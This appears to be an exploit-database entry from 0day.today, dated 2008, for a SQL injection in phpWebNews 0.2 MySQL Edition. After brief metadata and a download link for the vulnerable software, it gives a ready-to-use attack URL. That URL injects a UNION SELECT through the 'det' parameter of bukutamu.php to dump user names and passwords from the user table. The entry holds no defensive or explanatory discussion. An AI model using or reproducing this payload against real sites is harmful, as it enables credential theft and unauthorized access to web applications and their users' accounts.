phpWebNews 0.2 MySQL Edition (det) SQL Injection Vulnerability

2008-07-03T00:00:00
ID 1337DAY-ID-3351
Type zdt
Reporter 0day Today Team
Modified 2008-07-03T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==============================================================
phpWebNews 0.2 MySQL Edition (det) SQL Injection Vulnerability
==============================================================


=================================================================================
Download:
http://www.codewalkers.com/codefiles/476_phpwebnews-mysql.zip
=================================================================================

expl0it:
http://site.com/phpwebnews-mysql/bukutamu.php?det=-1/**/union/**/select/**/1,2,user,passwd,5,6,7/**/from/**/user/*
=================================================================================



#  0day.today [2018-03-02]  #